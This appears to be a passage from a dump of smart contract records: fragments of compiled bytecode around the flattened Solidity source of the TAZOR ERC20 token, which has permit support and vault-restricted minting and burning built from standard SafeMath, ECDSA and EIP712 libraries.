63686942757965722e7365744d6178536c697070616765203a206f7574206f604082015266662072616e676560c81b606082015260800190565b602080825260409082018190527f4963686942757965722e7365745661756c74203a20496368693a4f6e65556e69908201527f2068797065727669736f722063616e6e6f742062652061646472657373283029606082015260800190565b60208082526029908201527f556e697377617056334f7261636c6553696d706c653a2074686520706f6f6c206040820152681a5cc81b1bd8dad95960ba1b606082015260800190565b60006020808352835160a08285015280518060c0860152835b81811015612eb55782810184015186820160e001528301612e99565b81811115612ec6578460e083880101525b509185015191612ed96040860184612bc5565b6040860151606086015260608601516080860152608086015160a086015260e0601f19601f830116860101935050505092915050565b81516001600160a01b03908116825260208084015182169083015260408084015162ffffff16908301526060808401518216908301526080808401519083015260a0838101519083015260c0808401519083015260e09283015116918101919091526101000190565b90815260200190565b9182526001600160a01b0316602082015260400190565b6001600160a01b0381168114612fad57600080fd5b5056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a2646970667358221220b6860af63884602fce2188b152c5c1fbef59ab6deebcbd85da80ae2d7d7d09e164736f6c63430007060033
[ 5, 4, 12 ]
0xf3149a319a553840c7fb04aff3e19c4d008d6db1
// SPDX-License-Identifier: MIT // File contracts/libraries/SafeMath.sol // Tazor.io Domain pragma solidity ^0.7.5; // TODO(zx): Replace all instances of SafeMath with OZ implementation library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } // Only used in the BondingCalculator.sol function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } // File contracts/interfaces/IERC20.sol pragma solidity >=0.7.5; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/interfaces/ITAZOR.sol pragma solidity >=0.7.5; interface ITAZOR is IERC20 { function mint(address account_, uint256 amount_) external; function burn(uint256 amount) external; function burnFrom(address account_, uint256 amount_) external; } // File contracts/interfaces/IERC20Permit.sol pragma solidity >=0.7.5; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as th xe allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // File contracts/types/ERC20.sol pragma solidity >=0.7.5; abstract contract ERC20 is IERC20 { using SafeMath for uint256; // TODO comment actual hash value. bytes32 constant private ERC20TOKEN_ERC1820_INTERFACE_ID = keccak256( "ERC20Token" ); mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 internal _totalSupply; string internal _name; string internal _symbol; uint8 internal immutable _decimals; constructor (string memory name_, string memory symbol_, uint8 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from_, address to_, uint256 amount_ ) internal virtual { } } // File contracts/cryptography/ECDSA.sol pragma solidity ^0.7.5; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ├╖ 2 + 1, and for v in (302): v Γêê {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // File contracts/cryptography/EIP712.sol pragma solidity ^0.7.5; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { uint256 chainID; assembly { chainID := chainid() } bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = chainID; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { uint256 chainID; assembly { chainID := chainid() } if (chainID == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { uint256 chainID; assembly { chainID := chainid() } return keccak256(abi.encode(typeHash, nameHash, versionHash, chainID, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } // File contracts/libraries/Counters.sol pragma solidity ^0.7.5; library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // File contracts/types/ERC20Permit.sol pragma solidity >=0.7.5; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") {} /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. * * _Available since v4.1._ */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } // File contracts/interfaces/ITazorAuthority.sol pragma solidity =0.7.5; interface ITazorAuthority { /* ========== EVENTS ========== */ event GovernorPushed(address indexed from, address indexed to, bool _effectiveImmediately); event GuardianPushed(address indexed from, address indexed to, bool _effectiveImmediately); event PolicyPushed(address indexed from, address indexed to, bool _effectiveImmediately); event VaultPushed(address indexed from, address indexed to, bool _effectiveImmediately); event GovernorPulled(address indexed from, address indexed to); event GuardianPulled(address indexed from, address indexed to); event PolicyPulled(address indexed from, address indexed to); event VaultPulled(address indexed from, address indexed to); /* ========== VIEW ========== */ function governor() external view returns (address); function guardian() external view returns (address); function policy() external view returns (address); function vault() external view returns (address); function vaults(address account) external view returns (bool); } // File contracts/types/TazorAccessControlled.sol pragma solidity >=0.7.5; abstract contract TazorAccessControlled { /* ========== EVENTS ========== */ event AuthorityUpdated(ITazorAuthority indexed authority); string UNAUTHORIZED = "UNAUTHORIZED"; // save gas /* ========== STATE VARIABLES ========== */ ITazorAuthority public authority; /* ========== Constructor ========== */ constructor(ITazorAuthority _authority) { authority = _authority; emit AuthorityUpdated(_authority); } /* ========== MODIFIERS ========== */ modifier onlyGovernor() { require(msg.sender == authority.governor(), UNAUTHORIZED); _; } modifier onlyGuardian() { require(msg.sender == authority.guardian(), UNAUTHORIZED); _; } modifier onlyPolicy() { require(msg.sender == authority.policy(), UNAUTHORIZED); _; } modifier onlyVault() { require(authority.vaults(msg.sender) == true, UNAUTHORIZED); _; } /* ========== GOV ONLY ========== */ function setAuthority(ITazorAuthority _newAuthority) external onlyGovernor { authority = _newAuthority; emit AuthorityUpdated(_newAuthority); } } // File contracts/TazorERC20.sol pragma solidity ^0.7.5; contract Tazor is ERC20Permit, ITAZOR, TazorAccessControlled { using SafeMath for uint256; constructor(address _authority) ERC20("TAZOR", "TAZOR", 9) ERC20Permit("TAZOR") TazorAccessControlled(ITazorAuthority(_authority)) { // _totalSupply = 7_000_000 * 10**9; _mint(msg.sender, 7_000_000 * 10**9); } function mint(address account_, uint256 amount_) external override onlyVault { _mint(account_, amount_); } function burn(uint256 amount) external override onlyVault { _burn(msg.sender, amount); } function burnFrom(address account_, uint256 amount_) external override onlyVault { _burnFrom(account_, amount_); } function _burnFrom(address account_, uint256 amount_) internal { uint256 decreasedAllowance_ = allowance(account_, msg.sender).sub(amount_, "ERC20: burn amount exceeds allowance"); _approve(account_, msg.sender, decreasedAllowance_); _burn(account_, amount_); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d714610593578063a9059cbb146105f7578063bf7e214f1461065b578063d505accf1461068f578063dd62ed3e1461072857610121565b806370a08231146103ce57806379cc6790146104265780637a9e5e4b146104745780637ecebe00146104b857806395d89b411461051057610121565b8063313ce567116100f4578063313ce567146102af5780633644e515146102d057806339509351146102ee57806340c10f191461035257806342966c68146103a057610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020d57806323b872dd1461022b575b600080fd5b61012e6107a0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610842565b60405180821515815260200191505060405180910390f35b610215610859565b6040518082815260200191505060405180910390f35b6102976004803603606081101561024157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610863565b60405180821515815260200191505060405180910390f35b6102b761092e565b604051808260ff16815260200191505060405180910390f35b6102d8610956565b6040518082815260200191505060405180910390f35b61033a6004803603604081101561030457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610965565b60405180821515815260200191505060405180910390f35b61039e6004803603604081101561036857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a0a565b005b6103cc600480360360208110156103b657600080fd5b8101908080359060200190929190505050610ba9565b005b610410600480360360208110156103e457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d47565b6040518082815260200191505060405180910390f35b6104726004803603604081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d8f565b005b6104b66004803603602081101561048a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f2e565b005b6104fa600480360360208110156104ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061114c565b6040518082815260200191505060405180910390f35b61051861119c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561055857808201518184015260208101905061053d565b50505050905090810190601f1680156105855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105df600480360360408110156105a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061123e565b60405180821515815260200191505060405180910390f35b6106436004803603604081101561060d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112fd565b60405180821515815260200191505060405180910390f35b610663611314565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610726600480360360e08110156106a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff169060200190929190803590602001909291908035906020019092919050505061133a565b005b61078a6004803603604081101561073e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061152c565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108385780601f1061080d57610100808354040283529160200191610838565b820191906000526020600020905b81548152906001019060200180831161081b57829003601f168201915b5050505050905090565b600061084f33848461163b565b6001905092915050565b6000600254905090565b6000610870848484611832565b610923843361091e8560405180606001604052806028815260200161265460289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af39092919063ffffffff16565b61163b565b600190509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000009905090565b6000610960611bb3565b905090565b6000610a0033846109fb85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b390919063ffffffff16565b61163b565b6001905092915050565b60011515600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a622ee7c336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a9757600080fd5b505afa158015610aab573d6000803e3d6000fd5b505050506040513d6020811015610ac157600080fd5b8101908080519060200190929190505050151514600690610b9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015610b8b5780601f10610b6057610100808354040283529160200191610b8b565b820191906000526020600020905b815481529060010190602001808311610b6e57829003601f168201915b50509250505060405180910390fd5b50610ba58282611c7c565b5050565b60011515600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a622ee7c336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c3657600080fd5b505afa158015610c4a573d6000803e3d6000fd5b505050506040513d6020811015610c6057600080fd5b8101908080519060200190929190505050151514600690610d39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015610d2a5780601f10610cff57610100808354040283529160200191610d2a565b820191906000526020600020905b815481529060010190602001808311610d0d57829003601f168201915b50509250505060405180910390fd5b50610d443382611e43565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60011515600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a622ee7c336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610e1c57600080fd5b505afa158015610e30573d6000803e3d6000fd5b505050506040513d6020811015610e4657600080fd5b8101908080519060200190929190505050151514600690610f1f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015610f105780601f10610ee557610100808354040283529160200191610f10565b820191906000526020600020905b815481529060010190602001808311610ef357829003601f168201915b50509250505060405180910390fd5b50610f2a8282612007565b5050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c340a246040518163ffffffff1660e01b815260040160206040518083038186803b158015610f9657600080fd5b505afa158015610faa573d6000803e3d6000fd5b505050506040513d6020811015610fc057600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146006906110c4576040517